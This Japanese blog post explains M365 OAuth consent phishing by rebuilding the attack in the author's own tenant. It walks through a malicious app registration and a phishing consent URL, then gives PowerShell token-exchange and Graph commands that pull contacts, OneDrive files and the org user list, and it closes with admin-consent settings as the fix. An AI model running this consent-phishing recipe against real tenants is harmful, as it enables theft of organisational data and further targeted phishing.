M365の「アプリ同意」を管理しよう!フィッシング被害や“意図しないデータ連携”を防ぐガイド
先に:本記事のまとめ
Microsoft 365(M365)には ユーザーがアプリに権限を付与(同意)できる仕組み=OAuth consent があります。
管理者設定によっては、以下のようなリスクが生じます。
- 管理者が把握していない外部アプリにデータが共有される
- 正規アプリでも “意図しない範囲” の情報にアクセスされる
- フィッシング URL をワンクリックしただけで情報が抜かれる
- ※現在は Microsoft 側のセキュリティ対策が強化されており、発行元未確認アプリを悪用した典型的な OAuth フィッシングのリスクは低くなっていますが、「ユーザーが権限内容をよく読まずに承諾してしまう」リスクは依然として残っています。
意図せぬデータ共有を防ぐためにすべき設定としては、以下があります。
※下記はセキュリティ的に安全な設定となっています。実際には自社のセキュリティポリシーに合わせてカスタマイズする必要があります。
| 設定項目 | 設定値 | 説明 |
|---|---|---|
| ユーザーの同意設定 | ユーザーの同意を許可しない | ユーザーが勝手にアプリへ権限を付与することを防止。OAuth フィッシングや過剰権限アプリのリスクを大幅に低減。 |
| 管理者の同意要求 | 有効化 | ユーザーが必要なアプリを「承認リクエスト」でき、管理者が精査して承認可能。ユーザー同意禁止とセットで必須の設定。 |
アプリ同意による意図しないデータ共有
Microsoft 365(M365)には ユーザーがアプリに権限を“同意”する仕組み(OAuth consent) があります。
これを悪用したフィッシングや、正規アプリにからの要求に同意してしまうことよる“意図しないデータ共有”が発生する可能性があります。
たとえば以下のようなケースがあります
- フィッシングメールに記載されている怪しい URL をクリックすると、「このアプリに OneDrive 読み取りを許可しますか?」 と表示され、同意すると ユーザーのMicrosoft 365 内のデータ(OneDrive 内のファイルや連絡先情報など)が外部アプリに連携される
- 正規のサードパーティ製アプリでM365 との連携を要求されたので、同意したら、M365 内のデータがサードパーティ製アプリに連携されてしまった。
今回は、以下の流れで「怪しい URL を踏んだら危険権限を承諾してしまう」OAuth フィッシングの簡易的な再現を通してその仕組みを学んでみたので、ご紹介します。
- 攻撃者の“悪意ある OAuth アプリ”をAzure AD へデモ作成する
- 攻撃者が作る“フィッシング URL” を作成する
- user01 がフィッシング URL をクリックし、悪意のあるアプリへ権限を付与する
- 攻撃者がアクセストークンを取得し、M365 のデータへアクセスする
- “アプリ同意ポリシー”で管理者が把握できない範囲での権限承諾を防ぐ
今回の検証の前提:ユーザーの同意設定
今回は エンタープライズアプリケーション>同意とアクセス許可>ユーザー同意の設定 を以下のデフォルト設定にしています。
- Microsoft による同意設定の管理を許可する(推奨)

STEP 1|攻撃者の“悪意ある OAuth アプリ”を作成する
攻撃者は Azure AD 上に偽装アプリを登録し、それをフィッシングメールなどの URL に仕込んでユーザーにアクセスさせることによって認証情報を取得するケースが多いです。
今回はその再現をしてみます。
1-1. Azure AD(Entra ID)でアプリ登録
設定箇所:
Entra ID 管理センター → アプリの登録 → 新規登録
設定例:
| 設定項目 | 値 |
|---|---|
| 名前 | Test-OAuth-App |
| サポートされているアカウントの種類 | マルチテナント |
| リダイレクト URI | https://localhost |
- 現在の Microsoft の仕様では、発行元未確認(unverified publisher)のマルチテナント アプリはユーザー同意できず、管理者の同意が必須になります。
一方で、自分のテナント内で登録したアプリは「発行元: 自組織」として扱われるため、「発行元未確認アプリ」には該当しません。今回の検証では自テナント内でアプリを作成しているため、この条件に当てはまり、ユーザー自身で権限に同意できる状態になっています。 - リダイレクト URI を
https://localhostにすることで、認可コードを自分のブラウザで確認できるようにします。フィッシング攻撃では、ここが攻撃者のサーバーになり、被害者の認可コードが攻撃者に送信される手法が取られます。

認可情報取得後に利用するクライアントシークレットを作成します

1-2. 危険な API Permissions を追加
今回は、Microsoft のドキュメント[1]にて “管理者の同意が不要” と明記されている権限を選択します。
追加する Delegated Permissions:
- User.Read
- User.ReadBasic.All(組織ユーザー一覧)
- Contacts.Read(メールアドレス帳)
- People.Read(深い関係のユーザー)
- Files.Read(OneDrive / Teams ファイル)
- offline_access(永続トークン)
[1]:Microsoft Graph のアクセス許可のリファレンス
上記の権限を APIのアクセス許可>アクセスの追加 から「委任されたアクセス許可」として Test-OAuth-App に登録します。

STEP 2|攻撃者が作る“フィッシング URL”
以下が今回利用する OAuth consent URL です。
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=<client-id>
&response_type=code
&redirect_uri=https://localhost
&response_mode=query
&scope=openid%20profile%20offline_access%20User.Read%20User.ReadBasic.All%20Contacts.Read%20People.Read%20Files.Read
&prompt=consent
&state=12345
各パラメータの説明は以下の公式ドキュメント[2]を参照ください
[2]:Microsoft ID プラットフォームと OAuth 2.0 認証コード フロー - 承認コードを要求する
client-id はアプリケーションの「概要」に載っています。

STEP 3|user01 がフィッシング URL を踏む
STEP2のURLをクリックすると、ユーザーの画面には以下が表示されます。
以下の画面でユーザーが「承諾」をクリックすると、アプリケーションへ認可情報が渡されます。

アプリケーション(今回は Localhost)に渡される認可情報は以下です。
アプリケーションに渡される認可コード
STEP 4|取得した認可コードから token を取得し Microsoft365 のデータにアクセスしてみる
4-1. Authorization code → AccessToken に交換
STEP3 で入手した認可コードを以下のコマンドで、AccessToken に変換します。
$tokenResponse = Invoke-RestMethod -Method POST `
-Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" `
-Body @{
client_id = "<client-id>"
client_secret = "<client-secret>"
scope = "openid profile offline_access User.Read User.ReadBasic.All Contacts.Read People.Read Files.Read"
redirect_uri = "https://localhost"
grant_type = "authorization_code"
code = "<auth-code>"
}
$accessToken = $tokenResponse.access_token
$accessToken
4-2|実際に Microsoft365 のデータを取得してみる
Graph API のコマンドで各種 データを取得してみます。
自分のユーザー情報
Invoke-RestMethod -Method GET -Uri "https://graph.microsoft.com/v1.0/me"
-Headers @{ Authorization = "Bearer $accessToken" }
全て表示
Invoke-RestMethod -Method GET `
-Uri "https://graph.microsoft.com/v1.0/me" `
-Headers @{ Authorization = "Bearer $accessToken" } `
| ConvertTo-Json -Depth 10 `
| Out-File -Encoding UTF8 me.txt
出力結果
user01 の情報(me.txt)
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users/$entity",
"businessPhones": [],
"displayName": "user01",
"givenName": null,
"jobTitle": null,
"mail": "user01@ドメイン",
"mobilePhone": null,
"officeLocation": null,
"preferredLanguage": null,
"surname": null,
"userPrincipalName": "user01@ドメイン",
"id": "xxx"
}
Contacts.Read:連絡先
Invoke-RestMethod -Method GET `
-Uri "https://graph.microsoft.com/v1.0/me/contacts" `
-Headers @{ Authorization = "Bearer $accessToken" } `
| ConvertTo-Json -Depth 10 `
| Out-File -Encoding UTF8 contacts.txt
出力結果
user01 の情報(contacts.txt)
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users('xxx')/contacts",
"value": [
{
"@odata.etag": "xxxXKi/lfTozeawBvM6l8AAAJsSBK"",
"id": "AAMkADVhNTViMjE5LTkzMmMtNDA0Ni1iMjJhLTMzOGJiMzZiYzY1MQBGAAAAAAD7YIc2FPRKTKV8LfYzG5KvBwCRglXKi-lfTozeawBvM6l8AAAAAAEOAACRglXKi-lfTozeawBvM6l8AAAJtiYSAAA=",
"createdDateTime": "2025-11-24T01:10:33Z",
"lastModifiedDateTime": "2025-11-24T01:10:33Z",
"changeKey": "EQAAABYAAACRglXKi/lfTozeawBvM6l8AAAJsSBK",
"categories": [],
"parentFolderId": "xxxTMzOGJiMzZiYzY1MQAuAAAAAAD7YIc2FPRKTKV8LfYzG5KvAQCRglXKi-lfTozeawBvM6l8AAAAAAEOAAA=",
"birthday": null,
"fileAs": "",
"displayName": "二郎 テスト",
"givenName": "二郎",
"initials": null,
"middleName": null,
"nickName": null,
"surname": "テスト",
"title": null,
"yomiGivenName": null,
"yomiSurname": null,
"yomiCompanyName": "",
"generation": null,
"imAddresses": [],
"jobTitle": "",
"companyName": null,
"department": "",
"officeLocation": "",
"profession": null,
"businessHomePage": "",
"assistantName": "",
"manager": "",
"homePhones": [],
"mobilePhone": "222-2222-2222",
"businessPhones": [],
"spouseName": "",
"personalNotes": "",
"children": [],
"emailAddresses": [
{
"name": "yyy@gmail.com",
"address": "yyy@gmail.com"
}
],
"primaryEmailAddress": {
"name": "yyy@gmail.com",
"address": "yyy@gmail.com"
},
"homeAddress": {},
"businessAddress": {},
"otherAddress": {}
},
{
"@odata.etag": "xxxlXKi/lfTozeawBvM6l8AAAJsR9Z"",
"id": "xxxvM6l8AAAAAAEOAACRglXKi-lfTozeawBvM6l8AAAJtiYRAAA=",
"createdDateTime": "2025-11-24T01:10:08Z",
"lastModifiedDateTime": "2025-11-24T01:10:08Z",
"changeKey": "EQAAABYAAACRglXKi/lfTozeawBvM6l8AAAJsR9Z",
"categories": [],
"parentFolderId": "xxxi-lfTozeawBvM6l8AAAAAAEOAAA=",
"birthday": null,
"fileAs": "",
"displayName": "太郎 テスト",
"givenName": "太郎",
"initials": null,
"middleName": null,
"nickName": null,
"surname": "テスト",
"title": null,
"yomiGivenName": null,
"yomiSurname": null,
"yomiCompanyName": "",
"generation": null,
"imAddresses": [],
"jobTitle": "",
"companyName": null,
"department": "",
"officeLocation": "",
"profession": null,
"businessHomePage": "",
"assistantName": "",
"manager": "",
"homePhones": [],
"mobilePhone": "111-1111-1111",
"businessPhones": [],
"spouseName": "",
"personalNotes": "",
"children": [],
"emailAddresses": [
{
"name": "xxx@gmail.com",
"address": "xxx@gmail.com"
}
],
"primaryEmailAddress": {
"name": "xxx@gmail.com",
"address": "xxx@gmail.com"
},
"homeAddress": {},
"businessAddress": {},
"otherAddress": {}
}
]
}
OneDrive(Files.Read) — ルート直下のファイル一覧
Invoke-RestMethod -Method GET `
-Uri "https://graph.microsoft.com/v1.0/me/drive/root/children" `
-Headers @{ Authorization = "Bearer $accessToken" } `
| ConvertTo-Json -Depth 10 `
| Out-File -Encoding UTF8 drive_root_children.txt
出力結果
user01 の情報(drive_root_children.txt)
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#Collection(driveItem)",
"value": [
{
"createdBy": {
"application": {
"id": "00000000-0000-0000-0000-000000000000",
"displayName": "OfficeServicesManager"
},
"user": {
"email": "user01@contoso.onmicrosoft.com",
"id": "00000000-0000-0000-0000-000000000000",
"displayName": "user01"
}
},
"createdDateTime": "2025-11-16T15:10:50Z",
"eTag": ""REDACTED-ETAG-1"",
"id": "REDACTED-ITEM-ID-1",
"lastModifiedBy": {
"application": {
"id": "00000000-0000-0000-0000-000000000000",
"displayName": "OfficeServicesManager"
},
"user": {
"email": "user01@contoso.onmicrosoft.com",
"id": "00000000-0000-0000-0000-000000000000",
"displayName": "user01"
}
},
"lastModifiedDateTime": "2025-11-16T15:10:50Z",
"name": "Attachments",
"parentReference": {
"driveType": "business",
"driveId": "REDACTED-DRIVE-ID",
"id": "REDACTED-PARENT-ID",
"name": "Documents",
"path": "/drive/root:",
"siteId": "REDACTED-SITE-ID"
},
"webUrl": "https://contoso-my.sharepoint.com/personal/user01_contoso_onmicrosoft_com/Documents/Attachments",
"cTag": ""REDACTED-CTAG-1"",
"fileSystemInfo": {
"createdDateTime": "2025-11-16T15:10:50Z",
"lastModifiedDateTime": "2025-11-16T15:10:50Z"
},
"folder": {
"childCount": 0
},
"size": 0,
"specialFolder": {
"name": "attachments"
}
},
{
"createdBy": {
"application": {
"id": "00000000-0000-0000-0000-000000000000",
"displayName": "M365Chat"
},
"user": {
"email": "user01@contoso.onmicrosoft.com",
"id": "00000000-0000-0000-0000-000000000000",
"displayName": "user01"
}
},
"createdDateTime": "2025-11-24T01:11:11Z",
"eTag": ""REDACTED-ETAG-2"",
"id": "REDACTED-ITEM-ID-2",
"lastModifiedBy": {
"application": {
"id": "00000000-0000-0000-0000-000000000000",
"displayName": "M365Chat"
},
"user": {
"email": "user01@contoso.onmicrosoft.com",
"id": "00000000-0000-0000-0000-000000000000",
"displayName": "user01"
}
},
"lastModifiedDateTime": "2025-11-24T01:11:11Z",
"name": "Microsoft Copilot Chat ファイル",
"parentReference": {
"driveType": "business",
"driveId": "REDACTED-DRIVE-ID",
"id": "REDACTED-PARENT-ID",
"name": "Documents",
"path": "/drive/root:",
"siteId": "REDACTED-SITE-ID"
},
"webUrl": "https://contoso-my.sharepoint.com/personal/user01_contoso_onmicrosoft_com/Documents/Microsoft Copilot Chat ファイル",
"cTag": ""REDACTED-CTAG-2"",
"fileSystemInfo": {
"createdDateTime": "2025-11-24T01:11:11Z",
"lastModifiedDateTime": "2025-11-24T01:11:11Z"
},
"folder": {
"childCount": 0
},
"size": 0,
"specialFolder": {
"name": "copilotuploads"
}
},
{
"createdBy": {
"user": {
"email": "user01@contoso.onmicrosoft.com",
"id": "00000000-0000-0000-0000-000000000000",
"displayName": "user01"
}
},
"createdDateTime": "2025-11-24T01:11:33Z",
"eTag": ""REDACTED-ETAG-3"",
"id": "REDACTED-ITEM-ID-3",
"lastModifiedBy": {
"user": {
"email": "user01@contoso.onmicrosoft.com",
"id": "00000000-0000-0000-0000-000000000000",
"displayName": "user01"
}
},
"lastModifiedDateTime": "2025-11-24T01:11:33Z",
"name": "TestFolder",
"parentReference": {
"driveType": "business",
"driveId": "REDACTED-DRIVE-ID",
"id": "REDACTED-PARENT-ID",
"name": "Documents",
"path": "/drive/root:",
"siteId": "REDACTED-SITE-ID"
},
"webUrl": "https://contoso-my.sharepoint.com/personal/user01_contoso_onmicrosoft_com/Documents/TestFolder",
"cTag": ""REDACTED-CTAG-3"",
"fileSystemInfo": {
"createdDateTime": "2025-11-24T01:11:33Z",
"lastModifiedDateTime": "2025-11-24T01:11:33Z"
},
"folder": {
"childCount": 1
},
"size": 6786
},
{
"@microsoft.graph.downloadUrl": "https://contoso-my.sharepoint.com/personal/user01_contoso_onmicrosoft_com/_layouts/15/download.aspx?UniqueId=REDACTED&tempauth=REDACTED",
"createdBy": {
"user": {
"email": "user01@contoso.onmicrosoft.com",
"id": "00000000-0000-0000-0000-000000000000",
"displayName": "user01"
}
},
"createdDateTime": "2025-11-24T01:10:54Z",
"eTag": ""REDACTED-ETAG-4"",
"id": "REDACTED-ITEM-ID-4",
"lastModifiedBy": {
"user": {
"email": "user01@contoso.onmicrosoft.com",
"id": "00000000-0000-0000-0000-000000000000",
"displayName": "user01"
}
},
"lastModifiedDateTime": "2025-11-24T01:11:17Z",
"name": "TestFile.docx",
"parentReference": {
"driveType": "business",
"driveId": "REDACTED-DRIVE-ID",
"id": "REDACTED-PARENT-ID",
"name": "Documents",
"path": "/drive/root:",
"siteId": "REDACTED-SITE-ID"
},
"webUrl": "https://contoso-my.sharepoint.com/personal/user01_contoso_onmicrosoft_com/_layouts/15/Doc.aspx?sourcedoc=REDACTED&file=TestFile.docx&action=default&mobileredirect=true",
"cTag": ""REDACTED-CTAG-4"",
"file": {
"hashes": {
"quickXorHash": "REDACTED-HASH-1"
},
"mimeType": "application/vnd.openxmlformats-officedocument.wordprocessingml.document"
},
"fileSystemInfo": {
"createdDateTime": "2025-11-24T01:10:54Z",
"lastModifiedDateTime": "2025-11-24T01:11:17Z"
},
"size": 12586
},
{
"@microsoft.graph.downloadUrl": "https://contoso-my.sharepoint.com/personal/user01_contoso_onmicrosoft_com/_layouts/15/download.aspx?UniqueId=REDACTED&tempauth=REDACTED",
"createdBy": {
"user": {
"email": "user01@contoso.onmicrosoft.com",
"id": "00000000-0000-0000-0000-000000000000",
"displayName": "user01"
}
},
"createdDateTime": "2025-11-16T15:10:43Z",
"eTag": ""REDACTED-ETAG-5"",
"id": "REDACTED-ITEM-ID-5",
"lastModifiedBy": {
"user": {
"email": "user01@contoso.onmicrosoft.com",
"id": "00000000-0000-0000-0000-000000000000",
"displayName": "user01"
}
},
"lastModifiedDateTime": "2025-11-16T15:11:13Z",
"name": "topsecret.docx",
"parentReference": {
"driveType": "business",
"driveId": "REDACTED-DRIVE-ID",
"id": "REDACTED-PARENT-ID",
"name": "Documents",
"path": "/drive/root:",
"siteId": "REDACTED-SITE-ID"
},
"webUrl": "https://contoso-my.sharepoint.com/personal/user01_contoso_onmicrosoft_com/_layouts/15/Doc.aspx?sourcedoc=REDACTED&file=topsecret.docx&action=default&mobileredirect=true",
"cTag": ""REDACTED-CTAG-5"",
"file": {
"hashes": {
"quickXorHash": "REDACTED-HASH-2"
},
"mimeType": "application/vnd.openxmlformats-officedocument.wordprocessingml.document"
},
"fileSystemInfo": {
"createdDateTime": "2025-11-16T15:10:43Z",
"lastModifiedDateTime": "2025-11-16T15:11:13Z"
},
"size": 12645
}
]
}
組織ユーザー一覧(User.ReadBasic.All)
Invoke-RestMethod -Method GET `
-Uri "https://graph.microsoft.com/v1.0/users?$select=displayName,mail,jobTitle" `
-Headers @{ Authorization = "Bearer $accessToken" } `
| ConvertTo-Json -Depth 10 `
| Out-File -Encoding UTF8 users.txt
出力結果
user01 の情報(users.txt)
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users",
"value": [
{
"businessPhones": [],
"displayName": "Security",
"givenName": null,
"jobTitle": null,
"mail": "secuser@ドメイン",
"mobilePhone": null,
"officeLocation": null,
"preferredLanguage": null,
"surname": null,
"userPrincipalName": "secuser@ドメイン",
"id": "xxx"
},
{
"businessPhones": [],
"displayName": "admin",
"givenName": "admin",
"jobTitle": null,
"mail": "admin@ドメイン",
"mobilePhone": null,
"officeLocation": null,
"preferredLanguage": null,
"surname": "佐藤",
"userPrincipalName": "admin@ドメイン",
"id": "xxx"
},
{
"businessPhones": [],
"displayName": "user01",
"givenName": null,
"jobTitle": null,
"mail": "user01@ドメイン",
"mobilePhone": null,
"officeLocation": null,
"preferredLanguage": null,
"surname": null,
"userPrincipalName": "user01@ドメイン",
"id": "xxx"
}
]
}
取得できたデータのまとめ
上記の検証から、アプリに権限同意した場合には、次のような情報が取得可能であることが分かります。
- アプリに対して権限同意したユーザーのユーザー名・メールアドレス
- ユーザーの Outlook 連絡先に登録されているユーザーの氏名・メールアドレス・電話番号
- ユーザーが OneDrive に保存しているファイル名、さらにはファイル本体(ダウンロードリンクから直接取得可能)
- 組織内の全ユーザーの基本情報(表示名・メールアドレス・UPN など)
仮にフィッシング攻撃者がこれらの情報を取得した場合、得られた連絡先・組織ユーザー一覧を悪用し、関係者に対してさらに巧妙な標的型フィッシングを仕掛ける可能性があります。また、OneDrive のファイルが盗まれた場合には、内部文書や個人情報などの機密データを悪用される深刻なリスクが生じます。
権限同意の対象がたとえ「正規のアプリ」であったとしても、管理者の把握しないところで組織データが外部アプリへ提供されてしまう状況は望ましくありません。
ユーザーが内容を十分理解せずに権限同意を行うと、結果として組織の情報資産が意図せず外部に流出するリスクがあるため、アプリ同意の管理は非常に重要です。
“ユーザーの同意設定”でユーザーによる意図せぬ権限同意を防ぐ
冒頭で紹介した対策として、以下の設定を行うことでユーザー自身がアプリに権限同意することを防ぎ、管理者による承認制に切り替えることができます。
これにより、権限同意が必要なアプリについては必ず管理者が内容を確認した上で承認する運用に統一できます。
| 設定項目 | 設定値 | 説明 |
|---|---|---|
| ユーザーの同意設定 | ユーザーの同意を許可しない | ユーザーが勝手にアプリへ権限を付与することを防止。OAuth フィッシングや過剰権限アプリのリスクを大幅に低減。 |
| 管理者の同意要求 | 有効化 | ユーザーが必要なアプリを「承認リクエスト」でき、管理者が精査して承認可能。ユーザー同意禁止とセットで必須の設定。 |
設定画面


まとめ
M365 ではすでに 発行元未確認アプリへの同意 は強力に制御されており、フィッシング経由で不正アプリに情報が漏洩するリスクは大幅に低減されています。
どのように制御されているかについては、Microsoft の公式ドキュメント[3]に詳しく記載されていますので、ぜひ確認してみてください。
しかし、次のような課題は依然として残っています。
- 正規アプリが 過剰な権限 を要求する
- ユーザーが内容を深く理解せずに承諾してしまう
- 外部サービスが必要以上の M365 データへアクセス
- 結果として 意図しないデータ漏洩 が発生する可能性
この問題は、M365 のデフォルト設定だけでは防ぎきれません。
そのため、「ユーザーが自由に同意できる状態」を避け、管理者がポリシーと承認フローを一元管理すること が非常に重要です。
ユーザーによる安易な同意を抑止し、管理者が承認フローをコントロールすることで、意図しない情報漏洩を未然に防ぎましょう。
[3]:アプリへの同意ポリシーを管理する
Discussion